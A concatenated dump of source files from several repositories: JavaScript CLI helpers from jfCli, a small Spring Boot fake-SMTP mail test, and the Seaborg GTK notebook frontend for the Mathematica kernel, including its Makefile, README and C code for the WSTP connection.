@return {Object} */ function convertCommand(command, handler) { return { command : command.name, description : command.description, builder : yargs => yargs.options(convertOptions(command.options)), handler : typeof handler === 'function' ? argv => handler(command, argv) : null } } /** * Convierte las opciones al formato esperado por `Yargs`. * * @param {Object} options Opciones a convertir. * * @return {Object} */ function convertOptions(options) { const _options = {}; iterate( options, (name, value) => _options[name] = { alias : value.alias, default : value.default === null ? undefined : value.default, desc : value.description, demandOption : value.required, type : value.type } ); return _options; } /** * Agrega los comandos a ser usados por `yargs`. * * @param {Object} yargs Instancia del manejador de la línea de comandos. * @param {Object} commands Instancias de comandos a agregar. * @param {Function?} handler Manejador del comando. */ module.exports = function builderYargs(yargs, commands, handler) { for (let _command of Object.values(commands)) { yargs.command(convertCommand(_command, handler)); } }; <file_sep>/src/commands/readme.js const fromFiles = require('../tools/from-files'); const padValues = require('pad-values'); const path = require('path'); /** * Carga los comandos desde el directorio especificado y construye la configuración del README.md. * * @param {jf.cli.Cli} cli Gestor del script. * @param {String} directory Directorio donde se buscarán los comandos. * * @return {Object|undefined} Comandos encontrados o `undefined` si el directorio no existe. */ function buildReadme(cli, directory) { let _readme; const _directory = path.join(directory, 'src', 'commands'); if (cli.exists(_directory)) { _readme = {}; const _commands = {}; fromFiles(cli, _commands, cli.scandir(_directory)); for (const _command of Object.keys(_commands)) { _readme[_command] = parseCommand(_command, _commands[_command]); } } else { cli.log('error', 'El directorio %s no existe', _directory); } return _readme; } /** * Analiza un comando y construye la configuración para la plantilla. * * @param {String} name Nombre del comando. * @param {Object} config Configuración del comando a analizar. * * @return {Object} Contexto a agregar a la plantilla. */ function parseCommand(name, config) { const _columns = {}; // Propiedades que nos interesan de la clase Option const _names = ['name', 'alias', 'description', 'type', 'required']; const _titles = ['Nombre', 'Alias', 'Descripción', 'Tipo', 'Requerido']; // Inicializamos los arrays donde van los valores. _names.forEach((name, index) => _columns[name] = [_titles[index]]); // Separamos cada una de las opciones en sus respectivos arrays. splitOptions(config, _names, _columns); // Llenamos con espacios las listas para mostrarlas alineadas. _names.forEach(name => _columns[name] = padValues(_columns[name])); // Fusionamos las listas en objetos para const _headers = []; const _options = []; _columns[_names[0]].forEach( (value, index) => { const _option = []; _names.forEach(name => _option.push(_columns[name][index])); if (index) { _options.push(_option); } else { const _sep = []; _headers.push(_option); _option.forEach(option => _sep.push('-'.repeat(option.length))); _headers.push(_sep); } } ); return { description : config[''], headers : _headers, name : name, options : _options }; } /** * Separa cada una de las propiedades de las opciones en un array para * poder luego alinear las columnas rellenando con espacios los valores. * * @param {Object} config Configuración de las propiedades aceptadas por el comando. * @param {String[]} properties Nombre de las propiedades que se extraerán. * @param {Object} output Variable donde se colocarán las propiedades y sus valores. */ function splitOptions(config, properties, output) { // Separamos cada una de las opciones en sus respectivos arrays. for (const _name of Object.keys(config)) { if (_name) { const _option = config[_name]; properties.forEach( name => { let _value = _option[name]; if (name === 'name') { _value = '-' + _value; } else if (name === 'alias') { _value = '--' + _value; } else if (typeof _value === 'boolean') { _value = _value ? ':heavy_check_mark:' : ''; } output[name].push(_value) } ); } } } /** * Genera el README.md de un proyecto con comandos. * * @command * * @option d Directorio del proyecto|directory|string| * @option t Ruta de la plantilla a usar|template|string| * * @param {jf.cli.Cli} cli Gestor del script. * @param {Object} argv Argumentos de la línea de comandos. */ module.exports = function readme(cli, argv) { let _directory = cli.utils('check').directory(cli, argv); const _commands = buildReadme(cli, _directory); if (_commands) { const _pkgFile = path.join(_directory, 'package.json'); cli.getTpl().generate( argv.tpl || 'md/README.md.hbs', Object.assign( { commands : _commands, outdir : _directory }, argv, cli.exists(_pkgFile) ? require(_pkgFile) : {} ) ); } };
ef7466809ef51984d33036546c7a0783b3731903
[ "JavaScript", "Markdown" ]
12
JavaScript
joaquinfq/jfCli
2bd1544eaef816b35404c20929b3dee7292adb13
e82a25d7278a603bb968fb3c6315db498aacb847
refs/heads/master
<repo_name>binodrajpandey/spring-boot-fake-smpt<file_sep>/src/main/java/com/example/mail/EmailService.java package com.example.mail; import javax.mail.MessagingException; public interface EmailService { void sendMail(Email email) throws MessagingException; } <file_sep>/README.md # spring-boot-fake-smpt 1. Clone the project. 2. Download fakeSmtp.jar file from http://nilhcem.com/FakeSMTP/download.html 3. Run the fakesmtp.jar file. 4. Run the command mvn clean install 5. See the mail. <file_sep>/src/test/java/com/example/mail/MailApplicationTests.java package com.example.mail; import java.util.Date; import java.util.HashMap; import java.util.Map; import javax.mail.MessagingException; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit4.SpringRunner; @RunWith(SpringRunner.class) @SpringBootTest public class MailApplicationTests { @Autowired EmailService emailService; @Test public void contextLoads() throws MessagingException { String from = "<EMAIL>"; String to = "<EMAIL>"; String subject = "Java Mail with Spring Boot"; EmailTemplate template = new EmailTemplate("hello-world.html"); Map<String, String> replacements = new HashMap<String, String>(); replacements.put("user", "Binod"); replacements.put("today", String.valueOf(new Date())); String message = template.getTemplate(replacements); Email email = new Email(from, to, subject, message); email.setHtml(true); emailService.sendMail(email); } }
b4789e3741fb03c65f604bd31101b19c3a600b9e
[ "Markdown", "Java" ]
3
Java
binodrajpandey/spring-boot-fake-smpt
69badde220d9c85545485d549593fc484494fb5a
2c91d35ad22dda6e77b7b3b1f211d0624f628d83
refs/heads/master
<repo_name>TomSteu/Seaborg<file_sep>/include/wstp_connection.h #ifndef WSTP_CONNECTION_H #define WSTP_CONNECTION_H #include <stdlib.h> #include <string.h> #include <unistd.h> //#define DEBUG //#define MATHLINK // Preprocessor workaround for old naming convention #ifdef MATHLINK #include <mathlink.h> #define WSLINK MLINK #define WSENV MLENV #else #include <wstp.h> #define WSLINK WSLINK #define WSENV WSENV #endif // structure that holds information about the connection typedef struct { int active; WSLINK link; WSENV env; } WstpConnection; int check_connection(void* con); int try_abort(void* con); int try_reset_after_abort(void* con); void* init_connection(const char* path); void close_connection(void*); int abort_calculation(void*); const char* handle_link_error(void*); void evaluate(void* con, const char* input, void (*callback)(char*, void*, unsigned long, int), void* callback_data); #endif // header guard<file_sep>/README.md Seaborg ======= Seaborg is meant as an alternative notebook interface for the Mathematica kernel, using GTK+3. ## Requirements Seaborg is written in Vala and hence requires a running version of valac to transcompile into C code. Furthermore GTK+ 3.22 or later and all its dependencies are required, as well as librsvg and gtksourceview. ## Installation ### Ubuntu Install dependencies and build tools: ``` sudo apt install build-essential git valac libgtksourceview-3.0-dev librsvg2-dev ``` Find a place for the installation, and then clone the repository ``` git clone https://github.com/TomSteu/Seaborg ``` In order to establish a connection the mathematica kernel, you need to build against the WTSP link library (former MathLink). In order to do so, you must edit the Makefile and set: * the variable `WSTPLIBDIR` to the parent directory of the WSTP dynamic link library * the variable `WSTPINCDIR` to the parent directory of the wstp.h header * the variable `WSTPLIB` to the name of the WSTP dynamic link library If you use an older version of mathematica, the connection protocol and all files are called MathLink instead. You can still build in this case, but include the option `-D MATHLINK` to `CFLAGS`. After finishing to edit the Makefile, you may build the code: ``` make all ``` You may add the launch script via: ``` sudo make install-linux ```<file_sep>/Makefile ##### MODIFY ##### ### Compiler and flags ### CC=gcc CFLAGS= -O3 -w VALAC= valac VALAFLAGS= --thread ### Mathematica WSTP (former MathLink) libraries ### # if the file is called mathlink rather than wstp, append -D MATHLINK to CFLAGS # directory of WSTP library file WSTPLIBDIR=/usr/local/Wolfram/Mathematica/11.3/SystemFiles/Links/WSTP/DeveloperKit/Linux-x86-64/CompilerAdditions/ # directory of wstp.h / mathlink.h file WSTPINCDIR=/usr/local/Wolfram/Mathematica/11.3/SystemFiles/Links/WSTP/DeveloperKit/Linux-x86-64/CompilerAdditions/ # name of library file WSTPLIB=WSTP64i4 ### Dependencies ### # packages required by valac VALAPKG= --pkg gtk+-3.0 --pkg gtksourceview-3.0 --pkg gdk-3.0 --pkg glib-2.0 --pkg libxml-2.0 --pkg librsvg-2.0 --pkg cairo # include directories for C compilation DEPINC= `pkg-config --cflags gtk+-3.0 gtksourceview-3.0 gdk-3.0 glib-2.0 libxml-2.0 librsvg-2.0 cairo` # library list for C compilation DEPLIBS= `pkg-config --libs gtk+-3.0 gtksourceview-3.0 gdk-3.0 glib-2.0 libxml-2.0 librsvg-2.0 cairo` ##### DO NOT MODIFY ##### VALASRC = gui interfaces parameter string notebook cellcontainer idgenerator evaluationcell textcell addbutton contextmenu plotframe stack placeholder CSRC= wstp_connection .PRECIOUS: ./build/src/%.c .PHONY: all all: $(patsubst %,./build/vala/%.o,$(VALASRC)) $(patsubst %,./build/%.o,$(CSRC)) $(CC) $(CFLAGS) -L$(WSTPLIBDIR) $^ -o ./bin/seaborg $(DEPLIBS) -l$(WSTPLIB) ./build/%.o: ./src/%.c $(CC) $(CFLAGS) -c $^ -o $@ -I./include/ -I$(WSTPINCDIR) ./build/vala/%.o: ./build/src/%.c $(CC) $(CFLAGS) $(DEPINC) -c $^ -o $@ $(DEPLIBS) ./build/src/%.c: vala touch $@ .PHONY: vala vala: $(patsubst %,./src/%.vala,$(VALASRC)) $(VALAC) $(VALAFLAGS) $^ -d ./build -C $(VALAPKG) .PHONY: install-linux install-linux: printf '#!/usr/bin/env sh\ncd %s\nLD_LIBRARY_PATH=%s ./bin/seaborg "$$@"' "$(shell pwd)" "$(WSTPLIBDIR)" > /usr/local/bin/seaborg chmod a+x /usr/local/bin/seaborg .PHONY: uninstall-linux uninstall-linux: /usr/local/bin/seaborg rm /usr/local/bin/seaborg .PHONY: clean clean: rm -f ./build/vala/*.o rm -f ./build/src/*.c rm -f ./build/*.o rm -f ./bin/* <file_sep>/src/wstp_connection.c #include "wstp_connection.h" #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #ifdef DEBUG #define DEBUGMSG(...) fprintf(stderr, __VA_ARGS__) #else #define DEBUGMSG(...) #endif #ifdef MATHLINK #include "mathlink.h" #define WSTPLINK MLINK #define WSTPENV MLENV #define WSTPINITIALIZE(X) MLInitialize(X) #define WSTPENVIRONMENTPARAMETER MLParametersPointer #define WSTPOPENSTRING(X, Y, Z) MLOpenString(X, Y, Z) #define WSTPACTIVATE(X) MLActivate(X) #define WSTPPUTMESSAGE(X,Y) MLPutMessage(X,Y) #define WSTPPUTFUNCTION(X,Y,Z) MLPutFunction(X,Y,Z) #define WSTPPUTSYMBOL(X,Y) MLPutSymbol(X,Y) #define WSTPPUTSTRING(X,Y,Z) MLPutUTF8String(X,Y,Z) #define WSTPCLOSE(X) MLClose(X) #define WSTPDEINITIALIZE(X) MLDeinitialize(X) #define WSTPTERMINATEMESSAGE MLTerminateMessage #define WSTPABORTMESSAGE MLAbortMessage #define WSTPERROR(X) MLError(X) #define WSTPEOK MLEOK #define WSTPERRORMESSAGE(X) MLErrorMessage(X) #define WSTPRELEASEERRORMESSAGE(X,Y) /*MLReleaseErrorMessage(X,Y)*/ #define WSTPCLEARERROR(X) MLClearError(X) #define WSTPENDPACKET(X) MLEndPacket(X) #define WSTPFLUSH(X) MLFlush(X) #define WSTPREADY(X) MLReady(X) #define WSTPNEXTPACKET(X) MLNextPacket(X) #define WSTPNEWPACKET(X) MLNewPacket(X) #define WSTPGETSTRING(X,Y,Z1,Z2) MLGetUTF8String(X,Y,Z1,Z2) #define WSTPGETINTEGER(X,Y) MLGetInteger(X,Y) #define WSTPGETSYMBOL(X,Y,Z1,Z2) MLGetUTF8Symbol(X,Y,Z1,Z2) #define WSTPRELEASESTRING(X,Y,Z) MLReleaseUTF8String(X,Y,Z) #define WSTPRELEASESYMBOL(X,Y,Z) MLReleaseUTF8Symbol(X,Y,Z) #define WSTPERRORTYPE int #else #include "wstp.h" #define WSTPLINK WSLINK #define WSTPENV WSENV #define WSTPINITIALIZE(X) WSInitialize(X) #define WSTPENVIRONMENTPARAMETER WSEnvironmentParameter #define WSTPOPENSTRING(X,Y,Z) WSOpenString(X,Y,Z) #define WSTPACTIVATE(X) WSActivate(X) #define WSTPPUTMESSAGE(X,Y) WSPutMessage(X,Y) #define WSTPPUTFUNCTION(X,Y,Z) WSPutFunction(X,Y,Z) #define WSTPPUTSYMBOL(X,Y) WSPutSymbol(X,Y) #define WSTPPUTSTRING(X,Y,Z) WSPutUTF8String(X,Y,Z) #define WSTPCLOSE(X) WSClose(X) #define WSTPDEINITIALIZE(X) WSDeinitialize(X) #define WSTPTERMINATEMESSAGE WSTerminateMessage #define WSTPABORTMESSAGE WSAbortMessage #define WSTPERROR(X) WSError(X) #define WSTPEOK WSEOK #define WSTPERRORMESSAGE(X) WSErrorMessage(X) #define WSTPRELEASEERRORMESSAGE(X,Y) WSReleaseErrorMessage(X,Y) #define WSTPCLEARERROR(X) WSClearError(X) #define WSTPENDPACKET(X) WSEndPacket(X) #define WSTPFLUSH(X) WSFlush(X) #define WSTPREADY(X) WSReady(X) #define WSTPNEXTPACKET(X) WSNextPacket(X) #define WSTPNEWPACKET(X) WSNewPacket(X) #define WSTPGETSTRING(X,Y,Z1,Z2) WSGetUTF8String(X,Y,Z1,Z2) #define WSTPGETINTEGER(X,Y) WSGetInteger(X,Y) #define WSTPGETSYMBOL(X,Y,Z1,Z2) WSGetUTF8Symbol(X,Y,Z1,Z2) #define WSTPRELEASESTRING(X,Y,Z) WSReleaseUTF8String(X,Y,Z) #define WSTPRELEASESYMBOL(X,Y,Z) WSReleaseUTF8Symbol(X,Y,Z) #if WSINTERFACE > 4 #define WSTPERRORTYPE long #else #define WSTPERRORTYPE int #endif #endif // returns the activity flag of the connection int check_connection(void* con) { WstpConnection* connection = (WstpConnection*) con; if(!connection) return -1; return connection->active; } // aborts evaluation by modifying the activity flag int try_abort(void* con) { WstpConnection* connection = (WstpConnection*) con; if(!connection) return -1; if(connection->active == 1) { connection->active=2; } return connection->active; } // after abort, reset the connection to active int try_reset_after_abort(void* con) { WstpConnection* connection = (WstpConnection*) con; if(!connection) return -1; if(connection->active==2) connection->active = 1; return connection->active; } // init the connection void* init_connection(const char* path) { WSTPERRORTYPE error = 0; WstpConnection* connection = (WstpConnection*) malloc(sizeof(WstpConnection)); connection->active = 0; connection->env = WSTPINITIALIZE((WSTPENVIRONMENTPARAMETER)0); if((WSTPENV)0 == connection->env) return (void*)connection; connection->link = WSTPOPENSTRING(connection->env, path, &error); if(!connection->link || error != WSTPEOK) return (void*)connection; if(! WSTPACTIVATE(connection->link)) return (void*)connection; connection->active=1; return (void*)connection; } // close the connction void close_connection(void* con) { WstpConnection* connection = (WstpConnection*) con; if(!connection) return; WSTPPUTMESSAGE(connection->link, WSTPTERMINATEMESSAGE); WSTPCLOSE(connection->link); WSTPDEINITIALIZE(connection->env); connection->active = 0; free(connection); } // send abort signal to the kernel int abort_calculation(void* con) { WstpConnection* connection = (WstpConnection*) con; if(!connection) return 0; if(connection->active) return WSTPPUTMESSAGE(connection->link, WSTPABORTMESSAGE); return 0; } // returns error in connection, while tries to revive the latter const char* handle_link_error(void* con) { WstpConnection* connection = (WstpConnection*) con; if(!connection) return NULL; if(connection->active == 0) return NULL; int error = WSTPERROR(connection->link); if(error == WSTPEOK) return NULL; const char* error_string = WSTPERRORMESSAGE(connection->link); if(! WSTPCLEARERROR(connection->link)) connection->active = 0; return error_string; } void evaluate(void* con, const char* input, void (*callback)(char*, void*, unsigned long, int), void* callback_data) { WstpConnection* connection = (WstpConnection*) con; // stamp to do stuff in order unsigned long stamp=1; if(!connection) { (*callback)((char*)0, callback_data, stamp++, 1); return; } // if abort was sent but got stuck if(connection->active == 2) { connection->active = 1; (*callback)((char*)0, callback_data, stamp++, 1); return; } // send input if(connection->active != 1) return; if(! WSTPPUTFUNCTION(connection->link, "EnterExpressionPacket", 1)) { (*callback)((char*) handle_link_error((void*) connection), callback_data, stamp++, 1); return; } if(! WSTPPUTFUNCTION(connection->link, "ToExpression", 1)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPPUTSTRING(connection->link, input, strlen(input))) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPENDPACKET(connection->link)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPFLUSH(connection->link)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } DEBUGMSG( "WSTP: packet sent: %s\n", input); int inti; int bytes, chars; char* err; char* str; //check for unregistered errors err = (char*) handle_link_error(connection); if(err != NULL) { DEBUGMSG("WSTP: Error mid-connection: %s\n", err); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } while(1) { usleep(200); //check for abort if(connection->active == 2) { if(! abort_calculation(connection)) { // abort failed connection->active = 0; (*callback)((char*)0, callback_data, stamp++, 1); return; } else connection->active = 1; } // flush before requesting status if(! WSTPFLUSH(connection->link)) { DEBUGMSG("WSTP: Error flushing mid-connection\n"); char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPREADY(connection->link)) continue; switch(WSTPNEXTPACKET(connection->link)) { case INPUTNAMEPKT: DEBUGMSG( "WSTP: package received: INPUTNAMEPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } DEBUGMSG( "WSTP: INPUTNAMEPKT value: %s\n", str); //(*callback)(str, callback_data, stamp++, 0); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); break; case OUTPUTNAMEPKT: DEBUGMSG( "WSTP: package received: OUTPUTNAMEPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } DEBUGMSG("WSTP: OUTPUTNAMEPKT value: %s\n", str); (*callback)(str, callback_data, stamp++, 0); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); break; case RETURNEXPRPKT: DEBUGMSG( "WSTP: package received: RETURNEXPRPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; break; } DEBUGMSG( "WSTP: RETURNEXPRPKT value: %s\n", str); (*callback)(str, callback_data, stamp++, 1); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); return; break; case RETURNPKT: DEBUGMSG( "WSTP: package received: RETURNPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { err = (char*) handle_link_error(connection); DEBUGMSG( "WSTP: RETURNPKT error: %s\n", err); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; break; } (*callback)(str, callback_data, stamp++, 1); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); DEBUGMSG( "WSTP: RETURNPKT value: %s \n", str); return; break; case BEGINDLGPKT: DEBUGMSG( "WSTP: package received: BEGINDLGPKT\n" ); if(!WSTPGETINTEGER(connection->link, &inti)) { DEBUGMSG( "WSTP: Error receiving integer\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } DEBUGMSG("WSTP: BEGINDLGPKT integer: %i\n", inti); (*callback)((char*)0, callback_data, stamp++, 1); return; break; case CALLPKT: DEBUGMSG( "WSTP: package received: CALLPKT\n" ); break; case DISPLAYENDPKT: DEBUGMSG( "WSTP: package received: DISPLAYENDPKT\n" ); break; case DISPLAYPKT: DEBUGMSG( "WSTP: package received: DISPLAYPKT\n" ); break; case ENDDLGPKT: DEBUGMSG( "WSTP: package received: ENDDLGPKT\n" ); break; case ENTEREXPRPKT: DEBUGMSG( "WSTP: package received: ENTEREXPRPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } (*callback)(str, callback_data, stamp++, 0); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); break; case ENTERTEXTPKT: DEBUGMSG( "WSTP: package received: ENTERTEXTPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } (*callback)(str, callback_data, stamp++, 0); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); break; case EVALUATEPKT: DEBUGMSG( "WSTP: package received: EVALUATEPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } (*callback)(str, callback_data, stamp++, 0); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); break; case INPUTPKT: DEBUGMSG( "WSTP: package received: INPUTPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } (*callback)(str, callback_data, stamp++, 0); // Input[] expects some input, Null will be provided to avoid kernel panic if(! WSTPPUTFUNCTION(connection->link, "EnterTextPacket", 1)) { (*callback)((char*) handle_link_error((void*) connection), callback_data, stamp++, 1); return; } if(! WSTPPUTSTRING(connection->link, "Null", 4)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPENDPACKET(connection->link)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPFLUSH(connection->link)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } (*callback)((char*)0, callback_data, stamp++, 0); break; case INPUTSTRPKT: DEBUGMSG( "WSTP: package received: INPUTSTRPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } (*callback)(str, callback_data, stamp++, 0); // Input[] expects some input, Null will be provided to avoid kernel panic if(! WSTPPUTFUNCTION(connection->link, "EnterTextPacket", 1)) { (*callback)((char*) handle_link_error((void*) connection), callback_data, stamp++, 1); return; } if(! WSTPPUTSTRING(connection->link, "Null", 4)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPENDPACKET(connection->link)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } if(! WSTPFLUSH(connection->link)) { char* err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, 1); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; } (*callback)((char*)0, callback_data, stamp++, 0); break; case MENUPKT: DEBUGMSG( "WSTP: package received: MENUPKT\n" ); if(! WSTPGETINTEGER(connection->link, &inti)) { DEBUGMSG( "WSTP: Error receiving integer\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } DEBUGMSG( "WSTP: MENUPKT : %i\n", inti ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++,(connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } DEBUGMSG("WSTP: MENUPKT title: %s", str); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); (*callback)((char*)0, callback_data, stamp++, 1); return; break; case MESSAGEPKT: DEBUGMSG( "WSTP: package received: MESSAGEPKT\n" ); if(! WSTPGETSYMBOL(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving symbol\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } //(*callback)(str, callback_data, stamp++, 0); DEBUGMSG("WSTP: MESSAGEPKT symbol: %s\n", str); WSTPRELEASESYMBOL(connection->link, (const char*) str, bytes); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } //(*callback)(str, callback_data, stamp++, 0); DEBUGMSG("WSTP: MESSAGEPKT string: %s\n", str); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); break; case RESUMEPKT: DEBUGMSG( "WSTP: package received: RESUMEPKT\n" ); break; case RETURNTEXTPKT: DEBUGMSG( "WSTP: package received: RETURNTEXTPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); return; break; } (*callback)(str, callback_data, stamp++, 1); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); return; break; case SUSPENDPKT: DEBUGMSG( "WSTP: package received: SUSPENDPKT\n" ); break; case SYNTAXPKT: DEBUGMSG( "WSTP: package received: SYNTAXPKT\n" ); if(! WSTPGETINTEGER(connection->link, &inti)) { DEBUGMSG( "WSTP: Error receiving integer\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } DEBUGMSG( "WSTP: SYNTAXPKT position: %i\n", inti); break; case TEXTPKT: DEBUGMSG( "WSTP: package received: TEXTPKT\n" ); if(! WSTPGETSTRING(connection->link, (const unsigned char**) &str, &bytes, &chars)) { DEBUGMSG( "WSTP: Error receiving string\n" ); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; break; } (*callback)(str, callback_data, stamp++, 0); WSTPRELEASESTRING(connection->link, (const char*) str, bytes); break; case ILLEGALPKT: DEBUGMSG( "WSTP: package received: ILLEGALPKT\n" ); (*callback)((char*)"(* kernel error *)", callback_data, stamp++, 1); // skip to the end of current packet if(! WSTPNEWPACKET(connection->link)) { DEBUGMSG( "WSTP: Error skipping to end of packet\n"); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; } // check for unregistered errors err = (char*) handle_link_error(connection); if(err) { (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); DEBUGMSG("Error finishing packet: %s\n", err); WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; } return; break; default: DEBUGMSG( "WSTP: package received: unknown\n" ); (*callback)((char*)"(* Unknown packet from kernel *)", callback_data, stamp++, 0); break; } // skip tp the end of current packet if(! WSTPNEWPACKET(connection->link)) { DEBUGMSG( "WSTP: Error skipping to end of packet\n"); err = (char*) handle_link_error(connection); (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); if(err) WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; } // check for unregistered errors err = (char*) handle_link_error(connection); if(err) { (*callback)(err, callback_data, stamp++, (connection->active == 0)?1:0); DEBUGMSG("Error finishing packet: %s\n", err); WSTPRELEASEERRORMESSAGE(connection->link, err); if(connection->active == 0) return; } } // send end-of-evaluation signal towards the frontend (*callback)((char*)0, callback_data, stamp++, 1); return; }
ef1181a48fd06a15436a47d1ccb4f0a25cd14a13
